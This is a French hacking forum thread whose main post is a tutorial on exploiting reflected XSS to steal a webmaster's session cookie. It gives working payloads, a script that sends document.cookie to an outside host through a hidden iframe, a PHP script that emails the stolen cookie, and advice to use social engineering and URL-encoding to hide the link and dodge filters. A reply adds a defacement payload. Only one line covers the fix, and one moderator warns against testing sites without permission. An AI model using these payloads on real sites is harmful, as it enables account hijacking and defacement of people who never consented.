• STATISTIQUES
  • Il y a eu un total de 0 membres et 45785 visiteurs sur le site dans les dernières 24h pour un total de 45 785 personnes!
    Membres: 2 605
    Discussions: 3 579
    Messages: 32 816
    Tutoriels: 78
    Téléchargements: 38
    Sites dans l'annuaire: 58


  • ANNUAIRE
  • [FR] Microcontest
    Cryptographie: 7, Mathématiques: 8, Image Son Vidéo: 5, Intelligence artificielle: 3, Réseau: 2, Divers: 7, Phy...
    Challenges
    [EN] Hack this site
    Basic: 11, Realistic: 17, Application: 18, Programming: 12, Extbasic: 14, Javascript: 7, Stego: 17
    Challenges
    [FR] Secuser
    Actualité de la sécurité informatique, fiches virus et hoax, alertes par email, antivirus gratui...
    Hacking
    [FR] WeChall
    Audio: 3, Coding: 11, Cracking: 9, Crypto: 18, Encoding: 11, Exploit: 44, Forensics: 1, Fun: 6, HTTP: 6, Image: 8, Java:...
    Challenges
    [FR] Asp-php
    Tutoriaux sur ASP, PHP, ASP.net, XML, SQL, Javascript, HTML, VML - Scripts et ressources pour webmasters - Forums d&#...
    Programmation
    [EN] CS Tutoring Center
    Site de challenge spécialisé dans les challenges de programmation C++ et java cependant, d'autres langages pe...
    Challenges
    [EN] Packet Storm
    Packet Storm est un site qui combine nouvelles de la sécurité informatique, téléchargemen...
    Vulnérabilités

  • DONATION
  • Si vous avez trouvé ce site internet utile, nous vous invitons à nous faire un don du montant de votre choix via Paypal. Ce don servira à financer notre hébergement.

    MERCI!




Note de ce sujet :
  • Moyenne : 5 (2 vote(s))
  • 1
  • 2
  • 3
  • 4
  • 5
Comment est exploitée une faille XSS
28-01-2007, 01h31 (Modification du message : 04-03-2013, 14h11 par supersnail.)
Message : #1
CyberSee Hors ligne
Admin fondateur de N-PN
*******



Messages : 1,721
Sujets : 287
Points: 157
Inscription : Jan 2012
Comment est exploitée une faille XSS
Je vais inclure ce tuto dans les articles du site au courant de la semaine et essayer d'en composer sur une base régulière. Ça fait longtemps que j'y pensais, alors le voici en exclusivité sur PN.

Premièrement, le nom XSS vient de l’acronyme 'Cross Site Scripting' et non CSS qui peut porter à confusion avec 'Cascading Style Sheet' qui se trouve à être quelque chose de complètement différent.

Dans ce tuto, je vais vous expliquer comment une exploitation de cette faille peut être réalisée par une personne malveillante pour lui permette de recevoir par email le cookie du webmaster.

Comment reconnaître une faille XSS et comment elle se produit.
On analyse l’URL 'Uniform Resource Locator' (Adresse internet) qui peut nous donner plusieurs informations sur la façon dont les variables sont passées de page en page. Pour quelqu'un qui connaît beaucoup le codage web, c’est une très bonne façon d’imaginer comment la page est codée.

Voici un exemple d’URL qui pourrait être vulnérable.
Code :
http://www.lesite.com/index.php?var=pseudo&mod=1&...

Vous avez sûrement déjà remarqué des adresses longues d’un mètre, pleines d’information… Dans ce cas si, remarquez l’expression (var=pseudo). Mais qu'est-ce que ça veut dire? Simplement que la variable ici appelée (var) va porter la valeur (pseudo). Pour récupérer cette variable, le webmaster utilise ($_GET[var]). L’erreur qui provoque la faille XSS est que si cette variable est directement affichée dans la page sans être filtrée, on peut l’utiliser pour passer du code JavaScript directement dans la page. Pour savoir si une variable est vulnérable, il faut d’abord la tester. La façon la plus simple, c’est de générer une alerte javascript.

Code :
http://www.lesite.com/index.php?var=<script>alert()</script>&mod=1&...

Si vous voyez une boite d’alerte s’ouvrir, c’est que le site est vulnérable.*

Comment exploiter la faille XSS
Maintenant que nous savons que le site en question ne filtre pas les caractères de programmation avant d'inclure la variable dans sa page, nous pouvons en profiter pour passer aux choses sérieuses. Puisque les caractères passés dans l’URL sont limités en nombres, nous devrons procéder à l’inclusion d’une page .js afin de pouvoir inclure tout notre codage sans limitation.

Voici donc à quoi cela ressemblerait.
Code :
http://www.lesite.com/index.php?var=<SCRIPT%20SRC=http://tonsite.com/cookie.js></SCRIPT>&mod=1&...
(Petite remarque, la chaîne %20 est simplement un espace encodé. Nous en reparlerons plus tard)

C’est ici que la plus part des tuto arrête. Mais aujourd’hui, nous allons pousser le sujet plus loin et se rendre jusqu’à l’exploitation complète de la faille.

Afin de pouvoir recevoir le cookie par courriel, nous devons réussir à fabriquer un codage qui va ouvrir une page de façon parallèle et qui contient comme variable le cookie en question.

Dans le fichier cookie.js, nous allons ouvrire un IFRAME qui inclura en variable le cookie de la personne. Voici le codage.

Code :
document.write('<iframe src=http://tonsite.com/cookie.php?cookie='+document.cookie+' HEIGHT=0 WIDTH=0></iframe>');

Ce codage va envoyer à cookie.php la variable (cookie) qui elle contient la valeur du cookie de la personne qui va cliquer sur le lien. Il nous reste simplement à créé le codage qui va récupérer tout ça et nous l’envoyer par email.

Dans le fichier cookie.php, le code va ressembler à ceci.
Code PHP :
<?php  
// Envoy du cookie par email  
$a "ton@adresse.com";  
$sujet "Exploitation XSS";  

// Codage HTML du message  
$message "<p style='margin-top: 0; margin-bottom: 0' align='center'>Vous venez de recevoir un cookie!</p>  
<p style='margin-top: 0; margin-bottom: 0' align='center'>&nbsp;</p>  
<p style='margin-top: 0; margin-bottom: 0'><b>
$_GET[cookie]</b></p>"

// Envoy du email 
$marge  "From: $a\r\n"
$marge .= "Content-type: text/html\r\n"
mail($a$sujet$message$marge); 
?>

Bien entendu, vous pouvez en profiter pour vous envoyer quelques informations supplémentaires sur la personne comme sont adresse IP qui peut toujours servirent pour d'autres sortes d'attaque.

Maintenant que nous avons tout mis en place, il ne vous reste plus qu'a utiliser un peut de SE (Social Engineering) Afin de demander au webmaster de bien gentiment cliquer sur le lien trafiqué. Pour cacher un peut le code malicieux, vous prouvez utiliser un encodeur URL. Le résultat ressemblerait à ceci :

Code :
http://www.lesite.com/index.php?var=%3CSCRIPT%2520SRC%3Dhttp%3A%2F%2Fx-hc.com%2F11.js%3E%3C%2FSCRIPT%3E&mod=1&...

Ceci peut également déjouer certain système de filtration et c'est un peu moins évident à deviner ... quoi que toujours un peut visible ...

Pousser plus loin...
Il existe énormément de place différente ou les failles XSS peuvent se produire. Plus récemment, plusieurs CMS se sont trouvés vulnérables au niveau des avatars et des inclusions d'images dans les messages en utilisant la balise IMG comme couverture.

Code :
<IMG SRC="javascript:alert();">

Ou simplement fermer la balise IMG et poursuivre avec le code JS
Code :
"><SCRIPT%20SRC=http://tonsite.com/cookie.js></SCRIPT>

Ce qui donnerait dans la source HTML
Code :
<IMG SRC=""><SCRIPT%20SRC=http://tonsite.com/cookie.js></SCRIPT>

Ce protégé
Désormais, ayant vu l'exploitation qui peut en être faite, voici la sécurisation de cette faille :

Utiliser de façon systématique la fonction htmlspecialchars ou htmlentities sur les données non sûres (venant des users) avant leur AFFICHAGE, et seulement l'affichage, pas le stockage. (qui lui est inutile).

Soyez intelligent et restez WhiteHat!
Par CyberSee
+1 (4) -1 (0) Répondre
28-01-2007, 12h32 (Modification du message : 17-10-2011, 23h45 par Di0Sasm.)
Message : #2
julian Hors ligne
Bon membre
*



Messages : 386
Sujets : 11
Points: 0
Inscription : Oct 2005
Comment exploiter une faille XSS
Très bon tutos Wink
+1 (0) -1 (0) Répondre
03-06-2011, 03h09 (Modification du message : 17-10-2011, 23h46 par Di0Sasm.)
Message : #3
CyberSee Hors ligne
Admin fondateur de N-PN
*******



Messages : 1,721
Sujets : 287
Points: 157
Inscription : Jan 2012
Comment exploiter une faille XSS
Merci :-)
Je vais essayer de vous en pondre au moins 1 par semaine ... quoique si je peux en faire plus, ça va me faire plaisir :-). J'ai l'intention de faire le tour de toutes mes connaissances à l'écrit. Je me rends compte que j’ai accumulé beaucoup de bagage avec le temps. C’est moche d’avoir tout perdu ceux que j’ai composés pour NewbieCenter … :-(
+1 (0) -1 (0) Répondre
23-04-2012, 11h55
Message : #4
Apache9 Hors ligne
Membre
*



Messages : 39
Sujets : 4
Points: 1
Inscription : Apr 2012
RE: Comment exploiter une faille XSS
Merci très bon tutoriel, par contre je reçois le mail 5 par 5 normale ? ^^ Par exemple je lance l'exploit et après je reçois 5 fois le mail "Exploitation XSS".
+1 (0) -1 (0) Répondre
23-04-2012, 22h46 (Modification du message : 06-05-2012, 14h54 par ﮎyиthﮎtyℓє.)
Message : #5
ﮎyиthﮎtyℓє Hors ligne
Membre
*



Messages : 32
Sujets : 6
Points: 16
Inscription : Mar 2012
RE: Comment exploiter une faille XSS
parce-que le code et afficher à plusieurs endroit sur ta page.

btw
Code :
<script>document.body.innerHTML="<style>body{visibility:hidden;}</style><div style=visibility:visible;><h1>pwnd</h1></div>";</script>
ça s'du deface.
+1 (0) -1 (0) Répondre
30-05-2012, 23h34
Message : #6
...:: BliNK ::...
Non-enregistré



 
RE: Comment exploiter une faille XSS
Merci, très beau tutoriel !
positive (1) negative (0) Répondre
10-06-2012, 17h26
Message : #7
ThibauT Hors ligne
Keyboard not found, press F1 to resume.
*



Messages : 348
Sujets : 6
Points: 69
Inscription : Jun 2012
RE: Comment exploiter une faille XSS
J'aime tes tutoriels. Ils expliquent simplement des choses qui ne le sont pas forcément.
Martin Golding a écrit :"Always code as if the guy who ends up maintaining your code will be a violent psychopath who knows where you live."

Gnomino a écrit :et quand je suis payé je fais ce qu'on me demande :B
+1 (0) -1 (0) Répondre
29-06-2012, 19h56
Message : #8
hydegollam Hors ligne
Newbie
*



Messages : 16
Sujets : 1
Points: 0
Inscription : Jun 2012
RE: Comment exploiter une faille XSS
Malin le coup des images d'avatar ou du BBcode !
Merci bien pour le tuto Smile
+1 (0) -1 (0) Répondre
20-08-2012, 10h18
Message : #9
spgb Hors ligne
Membre
*



Messages : 37
Sujets : 1
Points: 0
Inscription : Aug 2012
RE: Comment exploiter une faille XSS
Bon tutoriel, merci, j'avais déjà lu d'autres tutoriel du genre mais le tiens va effectivement plus loin Wink
+1 (0) -1 (0) Répondre
17-10-2012, 09h18
Message : #10
InstinctHack Hors ligne
Posting Freak
*



Messages : 1,366
Sujets : 184
Points: 299
Inscription : Dec 2011
RE: Comment exploiter une faille XSS
Bon tuto, il manque seulement la correction de cette faille qui est simple :
Utiliser de façon systématique la fonction htmlspecialchars ou htmlentities sur les données non sûres (venant des users) avant leur AFFICHAGE, et seulement l'affichage, pas le stockage.
Citation :un jour en cours de java j'ai attrapé les seins d'une fille mais elle m'a frappé en disant "c'est privé !!"
j'ai pas compris pourquoi, je croyais qu'on était dans la même classe
+1 (1) -1 (0) Répondre
27-10-2012, 17h53
Message : #11
Quintinou
Non-enregistré



 
RE: Comment exploiter une faille XSS
J'ai essayé sur un site, mais pas de boîte de dialogue ouverte Sad Mais, une erreur sql : Erreur:
Code :
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ') blabla...

Ca sent la faille sql à plein nez, nan ? Smile

Les outils tel sqlmap permettent je pense de détecter ce type de faille, mais laisse de nombreuses traces de requêtes si je ne me trompe pas ?
positive (0) negative (0) Répondre
28-10-2012, 09h51
Message : #12
supersnail Hors ligne
Éleveur d'ornithorynques
*******



Messages : 1,609
Sujets : 71
Points: 465
Inscription : Jan 2012
RE: Comment exploiter une faille XSS
Uep, ça laisse pas mal de traces.

Sinon, évite de faire du pentest sauvage sur des sites au hasard parce qu'en plus de pas trop être dans l'esprit de la communauté, tu risques pas mal d'ennuis si l'admin du site est un poil susceptible (il peut t'attaquer pour intrusion, même si t'as pas de motivations malveillantes)

btw @CyberSee, ce serait cool si tu pouvais edit le tuto pour éviter d'inciter les débutants à faire du pentest sauvage Wink
Mon blog

Code :
push esp ; dec eax ; inc ebp ; and [edi+0x41],al ; dec ebp ; inc ebp

"VIM est merveilleux" © supersnail
+1 (0) -1 (0) Répondre
28-10-2012, 14h32
Message : #13
Quintinou
Non-enregistré



 
RE: Comment exploiter une faille XSS
Hello,

Qui a dit que j'ai fait du pentest sauvage ? Rolleyes
Je n'ai rien fait du tout pour l'instant, à part modifier l'url pour tester la sécurité, et j'suis tomber sur une erreur sql, rien de plus Wink
positive (0) negative (0) Répondre
28-10-2012, 14h38
Message : #14
Swissky Absent
Bon membre
*



Messages : 523
Sujets : 32
Points: 96
Inscription : Apr 2012
RE: Comment exploiter une faille XSS
JUstement si tu as modifié l'url pour tester la sécu sans en avoir préalablement averti le webmaster c'est du Pentest Sauvage
+1 (0) -1 (0) Répondre
31-12-2012, 13h17
Message : #15
Wabouz Hors ligne
Membre actif
*



Messages : 96
Sujets : 8
Points: 16
Inscription : Nov 2012
RE: Comment exploiter une faille XSS
À quoi correspond le fichier cookie.js?
C'est l'histoire d'un mec qui rentre dans un canard... ( °3°)♫
+1 (0) -1 (0) Répondre


Sujets apparemment similaires…
Sujet Auteur Réponses Affichages Dernier message
  Comment exploiter une faille SQL Injection CyberSee 33 3,442 22-09-2015, 21h53
Dernier message: CyberSee
  [Tuto]Faille CRLF OverDreams 15 1,230 18-06-2013, 12h33
Dernier message: Hypnoze57
  [Faille WEB] LFI Swissky 10 852 25-02-2013, 22h04
Dernier message: InstinctHack
  [Faille Web] Full Path Disclosure Swissky 4 565 07-12-2012, 08h52
Dernier message: Shirobi
  Comment utiliser Metasploit EpicOut 4 415 15-09-2012, 20h47
Dernier message: Swissky
  Comment fonctionne les attaques de type IP-Spoofing Apophis 4 601 18-02-2007, 12h38
Dernier message: shutdownfuri

Atteindre :


Utilisateur(s) parcourant ce sujet : 1 visiteur(s)
N-PN
Accueil | Challenges | Tutoriels | Téléchargements | Forum | Retourner en haut